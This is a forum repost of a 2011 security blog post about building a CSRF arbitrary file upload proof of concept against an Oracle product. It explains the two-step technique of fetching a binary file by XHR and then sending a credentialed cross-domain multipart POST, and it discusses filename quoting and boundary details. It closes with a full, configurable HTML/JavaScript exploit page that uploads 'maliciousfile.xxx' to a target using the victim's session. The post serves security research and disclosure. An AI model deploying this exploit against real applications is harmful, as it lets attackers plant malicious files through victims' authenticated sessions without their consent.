Jump to content
Nytro

CSRF arbitrary file upload

Recommended Posts

Posted

CSRF arbitrary file upload

[h=2]Thursday, 15 December 2011[/h]

[h=3]CSRF - File Upload PoC[/h]

A couple of weeks ago I have found myself working on a CSRF File Upload Proof-of-Concept (PoC) for a bug I have found in an Oracle product.

I remember that Krzysztof Kotowicz did some research on a similar PoC not long time ago. A quick Google search brought me to his article on invisible arbitrary file upload in Flickr. So instead of reinventing the wheel, I have tried to use his PoC code available here.

Unfortunately, the code was not working in my case and I was unsure whether that was depending on the browsers I was using (Firefox 8.0.1 and Chrome 15.0.874.121) and/or on the vulnerable application itself. Consequently, I have spent some time to come up with a PoC (or probably a good term would be a collage) which would work in my case. The technique used is the same illustrated in Kotowicz's research and more information can be found here.

In few words, the exploitation process is divided in two steps:

1) Use XHR to get a binary file and store it as a JavaScript object;

2) Then perform a cross-domain XHR POST request (using CORS) to send/upload the binary file to the vulnerable application.

Here is the PoC I have composed by taking pieces of code from different parts. For the curios reader, here is the diff output between my PoC and Kotowicz's one.

Following is a short summary of the collage:

Supporting multiple parameters

I just reused the same functions in Kotowicz's Flickr PoC to support multiple POST parameters.

Grabbing the binary file

I am using snippet code from here - the getBinary() function works fine in the latest Firefox (8.x) and Chrome (15.0.874.121).

Blob Type

I have integrated sendUpload() function into the fileUpload() one, with a modification around the Blob type, which is used to store the binary file. Below is the modified line:

var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)();

This change was done because Chrome was complaining about the New BlobBuilder data type used in the original sendUpload() function.

Further Notes

The getBinary() function is used to get the file and considering CRSF occurs from a malicious site, then there are no issues with SOP, as the malicious file is served from the same domain.

A minor issue that I encountered during this work was related to single and double quotes in the filename value. In Kotowicz's original PoC, the Content-Disposition: header is set as an "attachment". The filename value is quoted with single quotes. However, in my case the single quotes PoC was not working. I have noticed that Firefox and Chrome automatically quote the filename with double quotes when the upload is performed with user interaction. The excerpt below is from an intercepted file upload request with Firefox:

POST /vulnerableappupload HTTP/1.1
Host: apphost
[snip]
Content-Type: multipart/form-data; boundary=---------------------------9040894219264
Content-Length: YYYY

-----------------------------9040894219264
Content-Disposition: form-data; name="extraParam1"

value1
-----------------------------9040894219264
Content-Disposition: form-data; name="extraParam2"

value2
-----------------------------9040894219264
Content-Disposition: form-data; name="filenameId"; filename="test.png"
Content-Type: image/png
[snip]


[I][FONT=Times New Roman][FONT=Arial][/FONT][/FONT][/I]

However, in some cases, it is possible to successfully upload a file by submitting the filename between single quotes or even without quotes. It depends on the way the file upload application functionality parses the Content-Disposition: header and related values from the browser.

Beside, I also did realise (lately) that there was a more recent PoC commit pushed by Kotowicz which was using the double quotes approach. My bad for missing it, as it would have saved quite some time.

Anyway, I got curios about the single quote/double quote issue and I had checked the RFC 2813. It doesn't specify whether the filename value has to be enclosed with single quotes or double quotes, so I am assuming that depends on the browser. Actually, in the examples included in the RFC 2813, the filename doesn't have quotes at all!

For those readers who are more interested, here is a page including a comprehensive testing conducted against the Content-Disposition header using different browsers.

Another minor note should be paid to the boundary value used in the file upload. The boundary in a multipart/byte request is a MIME boundary. This boundary value should not appear anywhere else in the data except between the multiple parts of the data. Also, the boundary value has to be the same to separate each part, so if you intend to reuse the PoC make sure you don't mess with that. I did that resulting in further wasted time :-).

Constraint

The PoC would only work for a single step file upload process. If the application requires multiple steps to complete the file upload, then further logic needs to be added to the PoC.


<!DOCTYPE html>
<html>
<body>
<h1>CSRF arbitrary file upload</h1>
<br><br>
This is a Proof-of-Concept - the start() function can be invoked automatically.<br><br>
This is a variation of the technique demonstrated here: http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html<br><br>
Other pieces of code were taken from: http://hublog.hubmed.org/archives/001941.html<br><br>
Tested succesfully with:<br><br>
Firefox 8.0 and 8.0.1<br><br>
Chrome 14.0.835.202 and Chrome 15.0.874.121<br><br>


<button type="button" id="upload" onclick="start()"><font size="+2">Upload File</font></button>
<script>
var logUrl = 'http://vulnappfileupload'; // edit this entry


function fileUpload(fileData, fileName) {
var fileSize = fileData.length,
boundary = "---------------------------270883142628617", // edit this entry
uri = logUrl,
xhr = new XMLHttpRequest();


var additionalFields = {
// in case multiple parameters need to be supplied
param1 : "value1", // edit this entry
param2 : "value2", // edit this entry
"param3" : "value3" // edit this entry


}


if (typeof XMLHttpRequest.prototype.sendAsBinary == "function") { // Firefox 3 & 4
var tmp = '';
for (var i = 0; i < fileData.length; i++) tmp += String.fromCharCode(fileData.charCodeAt(i) & 0xff);
fileData = tmp;
}
else { // Chrome 9
// http://javascript0.org/wiki/Portable_sendAsBinary
XMLHttpRequest.prototype.sendAsBinary = function(text){
var data = new ArrayBuffer(text.length);
var ui8a = new Uint8Array(data, 0);
for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff);


var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)();


bb.append(data);
var blob = bb.getBlob();
this.send(blob);


}
}




var fileFieldName = "filename_parameter"; // edit this entry


xhr.open("POST", uri, true);
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); // simulate a file MIME POST request.
xhr.setRequestHeader("Content-Length", fileSize);
xhr.withCredentials = "true";

xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) {


if (xhr.responseText != "") {
alert(JSON.parse(xhr.responseText).msg);
}
} else if (xhr.status == 0) {


}
}
}


var body = "";


for (var i in additionalFields) {
if (additionalFields.hasOwnProperty(i)) {
body += addField(i, additionalFields[i], boundary);
}
}


body += addFileField(fileFieldName, fileData, fileName, boundary);
body += "--" + boundary + "--";
xhr.sendAsBinary(body);
return true;
}


function addField(name, value, boundary) {
var c = "--" + boundary + "\r\n"
c += 'Content-Disposition: form-data; name="' + name + '"\r\n\r\n';
c += value + "\r\n";
return c;
}


function addFileField(name, value, filename, boundary) {
var c = "--" + boundary + "\r\n"
c += 'Content-Disposition: form-data; name="' + name + '"; filename="' + filename + '"\r\n';
c += "Content-Type: application/octet-stream\r\n\r\n"; // edit this entry if required
c += value + "\r\n";
return c;
}


function getBinary(file){
var xhr = new XMLHttpRequest();
xhr.open("GET", file, false);
xhr.overrideMimeType("text/plain; charset=x-user-defined");
xhr.send(null);
return xhr.responseText;
}


function start() {
var c = getBinary('maliciousfile.xxx'); // edit this entry
fileUpload(c, "maliciousfile.xxx"); // edit this entry


}
</script>


</body>
</html>


Sursa: malerisch.net: CSRF - File Upload PoC

POC: https://github.com/malerisch/blog-kotowicz-net-examples/blob/master/crossdomain-upload/evil/upload.html

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...